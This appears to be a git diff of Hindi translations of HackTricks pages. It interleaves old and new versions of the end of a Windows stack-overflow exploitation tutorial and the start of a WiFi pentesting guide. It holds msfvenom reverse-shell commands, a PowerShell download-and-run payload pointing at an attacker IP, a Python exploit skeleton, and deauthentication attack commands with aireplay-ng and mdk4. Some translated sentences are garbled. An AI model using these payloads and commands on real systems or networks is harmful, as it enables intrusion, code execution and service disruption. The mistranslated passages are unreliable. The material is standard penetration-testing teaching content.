लगता है काम कर रहा है।
|
||||
|
||||
## स्टैक में शैलकोड स्थान की जांच करें
|
||||
## स्टैक के अंदर शेलकोड स्थान की जांच करें
|
||||
|
||||
600B किसी भी पावरफुल शैलकोड के लिए पर्याप्त होना चाहिए।
|
||||
600B किसी भी शक्तिशाली शेलकोड के लिए पर्याप्त होना चाहिए।
|
||||
|
||||
चलो बफर बदलते हैं:
|
||||
चलिए बफर बदलते हैं:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
||||
```
|
||||
नया एक्सप्लॉइट लॉन्च करें और यूजफ़ुल शेलकोड की ईबीपी और लंबाई की जांच करें
|
||||
लॉन्च करें नया एक्सप्लॉइट और जांचें EBP और उपयोगी शेलकोड की लंबाई
|
||||
|
||||
![](<../.gitbook/assets/image (31) (1).png>)
|
||||
|
||||
![](<../.gitbook/assets/image (32) (1).png>)
|
||||
|
||||
आप देख सकते हैं कि जब संकटग्रस्तता प्राप्त होती है, तो ईबीपी शेलकोड की ओर पॉइंट कर रही है और हमें यहां एक शेलकोड स्थानित करने के लिए बहुत जगह है।
|
||||
आप देख सकते हैं कि जब सुरक्षा दोष तक पहुंचा जाता है, तो EBP शेलकोड की ओर प्वाइंट कर रहा है और हमें यहां एक शेलकोड स्थानित करने के लिए बहुत जगह है।
|
||||
|
||||
इस मामले में हमारे पास **0x0209A128 से 0x0209A2D6 = 430B** हैं। पर्याप्त।
|
||||
इस मामले में हमारे पास **0x0209A128 से 0x0209A2D6 = 430B** है। पर्याप्त।
|
||||
|
||||
## बुरे अक्षरों की जांच करें
|
||||
## बुरा वर्णों के लिए जांच करें
|
||||
|
||||
फिर से बफर को बदलें:
|
||||
फिर से बफर बदलें:
|
||||
```
|
||||
badchars = (
|
||||
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
||||
|
@ -138,27 +140,27 @@ badchars = (
|
|||
)
|
||||
buffer = 'A'*2606 + 'BBBB' + badchars
|
||||
```
|
||||
बदचार 0x01 से शुरू होता है क्योंकि 0x00 लगभग हमेशा खराब होता है।
|
||||
बैडचार्स 0x01 से शुरू होता है क्योंकि 0x00 लगभग हमेशा बुरा होता है।
|
||||
|
||||
इस नए बफर के साथ दोहराएं तकनीक को इस्तेमाल करें जिसमें उपयोगहीन माने जाने वाले अक्षरों को हटा दिया जाता है:।
|
||||
इस नए बफर के साथ एक्सप्लॉइट को बार-बार निष्पादित करें जिसमें वे वर्ण हटाए जाते हैं जो अनुपयोगी पाए जाते हैं:।
|
||||
|
||||
उदाहरण के लिए:
|
||||
|
||||
इस मामले में आप देख सकते हैं कि **आप चार 0x0A का उपयोग नहीं करना चाहिए** (क्योंकि चार 0x09 मेमोरी में कुछ भी सहेजा नहीं जाता है)।
|
||||
इस मामले में आप देख सकते हैं कि **आपको वर्ण 0x0A का उपयोग नहीं करना चाहिए** (क्योंकि मेमोरी में कुछ भी सहेजा नहीं गया है क्योंकि वर्ण 0x09)।
|
||||
|
||||
![](<../.gitbook/assets/image (33) (1).png>)
|
||||
|
||||
इस मामले में आप देख सकते हैं कि **चार 0x0D को टाल दिया गया है**:
|
||||
इस मामले में आप देख सकते हैं कि **वर्ण 0x0D को टाल दिया गया है**:
|
||||
|
||||
![](<../.gitbook/assets/image (34) (1).png>)
|
||||
|
||||
## एक जंप ईएसपी को एक रिटर्न पते के रूप में ढूंढें
|
||||
## एक JMP ESP को एक रिटर्न पता के रूप में खोजें
|
||||
|
||||
उपयोग करते हुए:
|
||||
```
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
```
|
||||
आपको **मेमोरी मानचित्र** की सूची बनानी होगी। ऐसी कोई DLL खोजें जिसमें निम्नलिखित हो:
|
||||
आपको **मेमोरी मैप्स की सूची** बनानी है। कुछ DLL खोजें जिसमें:
|
||||
|
||||
* **Rebase: False**
|
||||
* **SafeSEH: False**
|
||||
|
@ -168,25 +170,25 @@ buffer = 'A'*2606 + 'BBBB' + badchars
|
|||
|
||||
![](<../.gitbook/assets/image (35) (1).png>)
|
||||
|
||||
अब, इस मेमोरी के अंदर आपको कुछ JMP ESP बाइट्स ढूंढ़ने होंगे, इसके लिए निम्नलिखित को निष्पादित करें:
|
||||
अब, इस मेमोरी के अंदर आपको कुछ JMP ESP बाइट्स ढूंढने होंगे, इसके लिए निम्नलिखित को चलाएं:
|
||||
```
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
||||
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
||||
```
|
||||
**फिर, यदि कोई पता मिलता है, तो ऐसा चुनें जिसमें कोई भी बुरा चरित्र न हो:**
|
||||
**फिर, यदि कोई पता मिल जाता है, तो उसमें से एक चुनें जिसमें कोई भी बुरी चर न हो:**
|
||||
|
||||
![](<../.gitbook/assets/image (36) (1).png>)
|
||||
|
||||
**इस मामले में, उदाहरण के लिए: \_0x5f4a358f**\_
|
||||
**इस मामले में, उदाहरण के लिए: \_0x5f4a358f**\_
|
||||
|
||||
## शैलकोड बनाएँ
|
||||
## शैलकोड बनाएं
|
||||
```
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||||
```
|
||||
यदि एक Exploit काम नहीं कर रहा है, लेकिन यह काम करना चाहिए (आप ImDebg के साथ देख सकते हैं कि शेलकोड तक पहुंचा जा रहा है), तो इसे दूसरे शेलकोड बनाने का प्रयास करें (msfvenom के साथ पैरामीटर के लिए अलग-अलग शेलकोड बनाएं)।
|
||||
यदि एक्सप्लॉइट काम नहीं कर रहा है लेकिन काम करना चाहिए (आप देख सकते हैं कि ImDebg के साथ शेलकोड तक पहुंचा गया है), तो अन्य शेलकोड बनाने का प्रयास करें (msfvenom के साथ एक ही पैरामीटर के लिए विभिन्न शेलकोड बनाएं)।
|
||||
|
||||
**शेलकोड की शुरुआत में कुछ NOPS जोड़ें** और इसे और वापसी पता को JMP ESP के लिए उपयोग करें, और Exploit को पूरा करें:
|
||||
**शेलकोड की शुरुआत में कुछ NOPS जोड़ें** और इसे उपयोग करें और वापसी पता JMP ESP के लिए, और एक्सप्लॉइट पूरा करें:
|
||||
```bash
|
||||
#!/usr/bin/python
|
||||
|
||||
|
@ -236,10 +238,10 @@ except:
|
|||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
ऐसे शेलकोड होते हैं जो अपने आप को **अधिलेखित कर देते हैं**, इसलिए हमेशा शेलकोड के पहले कुछ NOPs जोड़ना महत्वपूर्ण है।
|
||||
ऐसे शेलकोड होते हैं जो अपने आप को **अधिलेखित** कर देते हैं, इसलिए हमेशा शेलकोड के पहले कुछ NOPs जोड़ना महत्वपूर्ण है
|
||||
{% endhint %}
|
||||
|
||||
## शेलकोड को सुधारना
|
||||
## शेलकोड को बेहतर बनाना
|
||||
|
||||
इन पैरामीटर्स को जोड़ें:
|
||||
```
|
||||
|
@ -247,12 +249,14 @@ EXITFUNC=thread -e x86/shikata_ga_nai
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके साझा करें।**
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,35 +1,35 @@
|
|||
# पेंटेस्टिंग वाईफाई
|
||||
# WiFi पेंटेस्टिंग
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम एक्सपर्ट)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**टेलीग्राम समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मुझे** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
|
||||
|
||||
**हैकिंग इनसाइट्स**\
|
||||
हैकिंग के रोमांच और चुनौतियों के बारे में गहराई से जानकारी प्राप्त करें
|
||||
**हैकिंग इंसाइट्स**\
|
||||
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
|
||||
|
||||
**रियल-टाइम हैक न्यूज़**\
|
||||
रियल-टाइम न्यूज़ और इनसाइट्स के माध्यम से हैकिंग की तेज़ी से बदलती दुनिया के साथ अपडेट रहें
|
||||
तेजी से बदलती हैकिंग दुनिया के साथ कदम से कदम रहें अपडेटेड
|
||||
|
||||
**नवीनतम घोषणाएँ**\
|
||||
नवीनतम बग बाउंटीज़ लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें
|
||||
**नवीनतम घोषणाएं**\
|
||||
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें
|
||||
|
||||
[**Discord**](https://discord.com/invite/N3FrSbmwdy) पर **हमसे जुड़ें** और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
|
||||
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
|
||||
|
||||
## वाईफाई बेसिक कमांड्स
|
||||
## WiFi मूल आदेश
|
||||
```bash
|
||||
ip link show #List available interfaces
|
||||
iwconfig #List available interfaces
|
||||
|
@ -49,13 +49,13 @@ iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan avail
|
|||
git clone https://github.com/s0lst1c3/eaphammer.git
|
||||
./kali-setup
|
||||
```
|
||||
### Airgeddon
|
||||
### एयरगेडन
|
||||
```bash
|
||||
mv `which dhcpd` `which dhcpd`.old
|
||||
apt install isc-dhcp-server
|
||||
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
|
||||
```
|
||||
**Docker के साथ airgeddon चलाएं**
|
||||
**डॉकर के साथ airgeddon चलाएं**
|
||||
```bash
|
||||
docker run \
|
||||
--rm \
|
||||
|
@ -68,9 +68,11 @@ docker run \
|
|||
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
|
||||
v1s1t0r1sh3r3/airgeddon
|
||||
```
|
||||
From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux)
|
||||
|
||||
### wifiphisher
|
||||
|
||||
यह Evil Twin, KARMA, और Known Beacons हमले कर सकता है और फिर एक phishing template का उपयोग करके नेटवर्क का असली पासवर्ड प्राप्त करने या सोशल नेटवर्क क्रेडेंशियल्स कैप्चर करने का प्रबंधन कर सकता है।
|
||||
यह Evil Twin, KARMA, और Known Beacons हमले कर सकता है और फिर फिशिंग टेम्पलेट का उपयोग करके नेटवर्क का वास्तविक पासवर्ड प्राप्त करने या सोशल नेटवर्क क्रेडेंशियल कैप्चर करने में सफल हो सकता है।
|
||||
```bash
|
||||
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
|
||||
cd wifiphisher # Switch to tool's directory
|
||||
|
@ -78,70 +80,70 @@ sudo python setup.py install # Install any dependencies
|
|||
```
|
||||
### [Wifite2](https://github.com/derv82/wifite2)
|
||||
|
||||
यह टूल **WPS/WEP/WPA-PSK** हमलों को स्वचालित करता है। यह स्वचालित रूप से:
|
||||
यह टूल **WPS/WEP/WPA-PSK** हमलों को स्वचालित करता है। यह स्वचालित रूप से करेगा:
|
||||
|
||||
* इंटरफेस को मॉनिटर मोड में सेट करेगा
|
||||
* संभावित नेटवर्क्स के लिए स्कैन करेगा - और आपको पीड़ित(ओं) का चयन करने देगा
|
||||
* अगर WEP - WEP हमलों को लॉन्च करेगा
|
||||
* अगर WPA-PSK
|
||||
* अगर WPS: Pixie dust हमला और bruteforce हमला (ध्यान रखें कि bruteforce हमला बहुत समय ले सकता है)। ध्यान दें कि यह नल PIN या डेटाबेस/जनरेटेड PINs की कोशिश नहीं करता है।
|
||||
* AP से PMKID कैप्चर करने की कोशिश करेगा ताकि उसे क्रैक किया जा सके
|
||||
* AP के क्लाइंट्स को डीऑथेंटिकेट करने की कोशिश करेगा ताकि हैंडशेक कैप्चर किया जा सके
|
||||
* अगर PMKID या हैंडशेक, तो top5000 पासवर्ड्स का उपयोग करके bruteforce की कोशिश करेगा।
|
||||
* इंटरफेस को मॉनिटर मोड में सेट करें
|
||||
* संभावित नेटवर्क के लिए स्कैन करें - और आपको पीड़ित(ओं) का चयन करने दें
|
||||
* यदि WEP - WEP हमले चालू करें
|
||||
* यदि WPA-PSK
|
||||
* यदि WPS: Pixie dust हमला और ब्रूटफोर्स हमला (सावधान रहें, ब्रूटफोर्स हमला लंबा समय ले सकता है)। ध्यान दें कि यह शून्य पिन या डेटाबेस/जनरेटेड पिन की कोशिश नहीं करता है।
|
||||
* AP से PMKID को कैप्चर करने की कोशिश करें और इसे क्रैक करने के लिए
|
||||
* AP के क्लाइंट को डीऑथेंटिकेट करने की कोशिश करें ताकि हैंडशेक को कैप्चर किया जा सके
|
||||
* यदि PMKID या हैंडशेक, टॉप5000 पासवर्ड का उपयोग करके ब्रूटफोर्स करने की कोशिश करें।
|
||||
|
||||
## हमलों का सारांश
|
||||
|
||||
* **DoS**
|
||||
* Deauthentication/disassociation -- सभी को (या एक विशिष्ट ESSID/Client) डिस्कनेक्ट करें
|
||||
* रैंडम फेक APs -- नेट्स छिपाएं, संभावित स्कैनर्स क्रैश करें
|
||||
* AP को ओवरलोड करें -- AP को मारने की कोशिश करें (आमतौर पर बहुत उपयोगी नहीं होता)
|
||||
* डीऑथेंटिकेशन/डिसेसोसिएशन -- सभी को डिस्कनेक्ट करें (या विशेष ESSID/क्लाइंट)
|
||||
* यादृच्छिक फेक APs -- नेट्स छुपाएं, संभावित क्रैश स्कैनर्स
|
||||
* AP को ओवरलोड करें -- AP को मारने की कोशिश करें (आम तौर पर बहुत उपयोगी नहीं होता है)
|
||||
* WIDS -- IDS के साथ खेलें
|
||||
* TKIP, EAPOL -- कुछ विशिष्ट हमले कुछ APs को DoS करने के लिए
|
||||
* **Cracking**
|
||||
* **WEP** क्रैक करें (कई टूल्स और तरीके)
|
||||
* TKIP, EAPOL -- कुछ विशेष हमले कुछ APs को DoS करने के लिए
|
||||
* **क्रैकिंग**
|
||||
* **WEP** क्रैक करें (कई उपकरण और विधियाँ)
|
||||
* **WPA-PSK**
|
||||
* **WPS** पिन "Brute-Force"
|
||||
* **WPA PMKID** bruteforce
|
||||
* **WPS** पिन "ब्रूट-फोर्स"
|
||||
* **WPA PMKID** ब्रूटफोर्स
|
||||
* \[DoS +] **WPA हैंडशेक** कैप्चर + क्रैकिंग
|
||||
* **WPA-MGT**
|
||||
* **Username कैप्चर**
|
||||
* **Bruteforce** Credentials
|
||||
* **Evil Twin** (DoS के साथ या बिना)
|
||||
* **Open** Evil Twin \[+ DoS] -- कैप्टिव पोर्टल creds कैप्चर करने और/या LAN हमले करने के लिए उपयोगी
|
||||
* **WPA-PSK** Evil Twin -- नेटवर्क हमलों के लिए उपयोगी अगर आप पासवर्ड जानते हैं
|
||||
* **WPA-MGT** -- कंपनी क्रेडेंशियल्स कैप्चर करने के लिए उपयोगी
|
||||
* **KARMA, MANA**, **Loud MANA**, **Known beacon**
|
||||
* **+ Open** -- कैप्टिव पोर्टल creds कैप्चर करने और/या LAN हमले करने के लिए उपयोगी
|
||||
* **+ WPA** -- WPA हैंडशेक कैप्चर करने के लिए उपयोगी
|
||||
* **उपयोगकर्ता कैप्चर**
|
||||
* **ब्रूटफोर्स** क्रेडेंशियल्स
|
||||
* **ईविल ट्विन** (डीओएस के साथ या बिना)
|
||||
* **ओपन** ईविल ट्विन \[+ डीओएस] -- कैप्टिव पोर्टल क्रेडेंशियल्स को कैप्चर करने और/या LAN हमलों करने के लिए उपयोगी
|
||||
* **WPA-PSK** ईविल ट्विन -- उपयोगी नेटवर्क हमलों के लिए अगर आप पासवर्ड जानते हैं
|
||||
* **WPA-MGT** -- कंपनी क्रेडेंशियल्स को कैप्चर करने के लिए उपयोगी
|
||||
* **KARMA, MANA**, **Loud MANA**, **पहचानी गई बीकन**
|
||||
* **+ ओपन** -- कैप्टिव पोर्टल क्रेडेंशियल्स को कैप्चर करने और/या LAN हमलों करने के लिए उपयोगी
|
||||
* **+ WPA** -- WPA हैंडशेक को कैप्चर करने के लिए उपयोगी
|
||||
|
||||
## DOS
|
||||
|
||||
### Deauthentication Packets
|
||||
### डीऑथेंटिकेशन पैकेट्स
|
||||
|
||||
इस प्रकार के हमले को करने का सबसे आम तरीका **deauthentication** पैकेट्स के साथ होता है। ये "मैनेजमेंट" फ्रेम का एक प्रकार है जो एक डिवाइस को एक्सेस पॉइंट से डिस्कनेक्ट करने के लिए जिम्मेदार होता है। इन पैकेट्स को फोर्ज करना [कई Wi-Fi नेटवर्क्स को हैक करने](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/) की कुंजी है, क्योंकि आप किसी भी क्लाइंट को किसी भी समय नेटवर्क से जबरदस्ती डिस्कनेक्ट कर सकते हैं। इसे कितनी आसानी से किया जा सकता है वह कुछ हद तक डरावना है और अक्सर क्रैकिंग के लिए WPA हैंडशेक इकट्ठा करने के हिस्से के रूप में किया जाता है।
|
||||
इस प्रकार के हमले को सबसे आम तरीके से **डीऑथेंटिकेशन** पैकेट्स के साथ किया जाता है। ये "मैनेजमेंट" फ्रेम के प्रकार हैं जिम्मेदार हैं किसी डिवाइस को एक एक्सेस प्वाइंट से डिस्कनेक्ट करने के लिए। इन पैकेट्स को झूठलाना है [वाई-फाई नेटवर्कों को हैक करने](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/) का कुंजी है, क्योंकि आप किसी भी समय किसी भी क्लाइंट को नेटवर्क से बल पूर्वक डिस्कनेक्ट कर सकते हैं। इसे किया जा सकने की आसानी कुछ डरावनी है और अक्सर इसे क्रैकिंग के लिए हैंडशेक हार्वेस्ट करने का हिस्सा के रूप में किया जाता है।
|
||||
|
||||
क्रैक करने के लिए हैंडशेक को हार्वेस्ट करने के लिए इस डिस्कनेक्शन का क्षणिक उपयोग करने के अलावा, आप उन deauths को बस आते रहने दे सकते हैं, जिसका प्रभाव यह होता है कि क्लाइंट को उस नेटवर्क से deauth पैकेट्स लगातार मिलते रहते हैं जिससे वे जुड़े हुए हैं। क्योंकि ये फ्रेम्स एन्क्रिप्टेड नहीं होते हैं, कई प्रोग्राम्स मैनेजमेंट फ्रेम्स का फायदा उठाते हैं उन्हें फोर्ज करके और नेटवर्क पर एक या सभी डिवाइसेस को भेजकर।\
|
||||
**विवरण यहाँ से** [**यहाँ**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
इस डिसकनेक्शन का उपयोग केवल हैंडशेक हार्वेस्ट करने के लिए किया जा सकता है, आप बस उन डीऑथेंटिकेशन को आने दें, जिससे क्लाइंट को उस नेटवर्क से डिस्कनेक्ट किया जा रहा है। क्योंकि ये फ्रेम्स एन्क्रिप्ट नहीं होते, बहुत सारे कार्यक्रम उन्हें फोर्ज करने और उन्हें नेटवर्क के एक या सभी उपकरणों को भेजने के द्वारा प्रबंधन फ्रेम्स का लाभ उठाते हैं।\
|
||||
**यहाँ से विवरण** [**यहाँ से**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**।**
|
||||
|
||||
**Deauthentication का उपयोग Aireplay-ng**
|
||||
**Aireplay-ng का उपयोग करके डीऑथेंटिकेशन करें**
|
||||
```
|
||||
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
```
|
||||
* \-0 का अर्थ है डीऑथेंटिकेशन
|
||||
* 1 डीऑथ की संख्या है जो भेजी जानी है (आप चाहें तो कई भेज सकते हैं); 0 का मतलब है उन्हें लगातार भेजना
|
||||
* \-a 00:14:6C:7E:40:80 एक्सेस पॉइंट का MAC पता है
|
||||
* \-c 00:0F:B5:34:30:30 उस क्लाइंट का MAC पता है जिसे डीऑथेंटिकेट करना है; अगर यह छोड़ दिया जाए तो ब्रॉडकास्ट डीऑथेंटिकेशन भेजा जाता है (हमेशा काम नहीं करता)
|
||||
* ath0 इंटरफेस का नाम है
|
||||
* \-0 का मतलब डीऑथेंटिकेशन है
|
||||
* 1 डीऑथ्स भेजने की संख्या है (आप चाहें तो एक से अधिक भेज सकते हैं); 0 यह अर्द्धकालिक रूप से भेजने का मतलब है
|
||||
* \-a 00:14:6C:7E:40:80 पहुंच बिंदु का MAC पता है
|
||||
* \-c 00:0F:B5:34:30:30 डीऑथेंटिकेट करने के लिए ग्राहक का MAC पता है; यदि यह छोड़ दिया जाता है तो प्रसारण डीऑथेंटिकेशन भेजा जाता है (हमेशा काम नहीं करता)
|
||||
* ath0 इंटरफेस नाम है
|
||||
|
||||
### डिसएसोसिएशन पैकेट्स
|
||||
### वियोगन पैकेट्स
|
||||
|
||||
डिसएसोसिएशन पैकेट्स एक अन्य प्रकार के मैनेजमेंट फ्रेम हैं जिनका उपयोग किसी नोड (जैसे कि लैपटॉप या सेल फोन जैसे किसी भी डिवाइस) को नजदीकी एक्सेस पॉइंट से डिसकनेक्ट करने के लिए किया जाता है। डीऑथेंटिकेशन और डिसएसोसिएशन फ्रेम्स के बीच का मुख्य अंतर उनके उपयोग के तरीके में है।
|
||||
वियोगन पैकेट्स एक और प्रकार के प्रबंधन फ्रेम हैं जो किसी नोड (जिसका मतलब कोई भी उपकरण जैसे लैपटॉप या सेल फोन) को एक पास के पहुंच बिंदु से डिस्कनेक्ट करने के लिए उपयोग किया जाता है। डीऑथेंटिकेशन और वियोगन फ्रेम के बीच प्रमुख अंतर प्राथमिक रूप से उनके उपयोग के तरीके में है।
|
||||
|
||||
एक एपी जो एक रोग डिवाइस को डिसकनेक्ट करना चाहता है, वह डीऑथेंटिकेशन पैकेट भेजेगा ताकि डिवाइस को सूचित किया जा सके कि उसे नेटवर्क से डिसकनेक्ट कर दिया गया है, जबकि डिसएसोसिएशन पैकेट का उपयोग तब किया जाता है जब एपी बंद हो रहा हो, रिबूट हो रहा हो, या क्षेत्र छोड़ रहा हो।
|
||||
एक एपी जो एक रोग उपकरण को डिस्कनेक्ट करना चाहता है, वह उपकरण को सूचित करने के लिए एक डीऑथेंटिकेशन पैकेट भेजेगा कि उसे नेटवर्क से डिस्कनेक्ट कर दिया गया है, जबकि एक वियोगन पैकेट का उपयोग एपी बंद करते समय, पुनरारंभ करते समय, या क्षेत्र से निकलते समय किसी भी नोड को डिस्कनेक्ट करने के लिए किया जाता है।
|
||||
|
||||
**विवरण यहाँ से** [**यहाँ**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**।**
|
||||
**यहाँ से विवरण** [**यहाँ से**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**।**
|
||||
|
||||
**यह हमला mdk4 (मोड "d") द्वारा किया जा सकता है:**
|
||||
**यह हमला mdk4 (मोड "डी") द्वारा किया जा सकता है:**
|
||||
```bash
|
||||
# -c <channel>
|
||||
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
|
||||
|
@ -150,13 +152,13 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
|||
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
|
||||
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
||||
```
|
||||
### **mdk4 द्वारा और DOS हमले**
|
||||
### **mdk4 द्वारा अधिक DOS हमले**
|
||||
|
||||
**[**यहाँ**](https://en.kali.tools/?p=864)** से।**
|
||||
**यहाँ से** [**यहाँ**](https://en.kali.tools/?p=864)**।**
|
||||
|
||||
**ATTACK MODE b: Beacon Flooding**
|
||||
**हमला मोड b: बीकन फ्लडिंग**
|
||||
|
||||
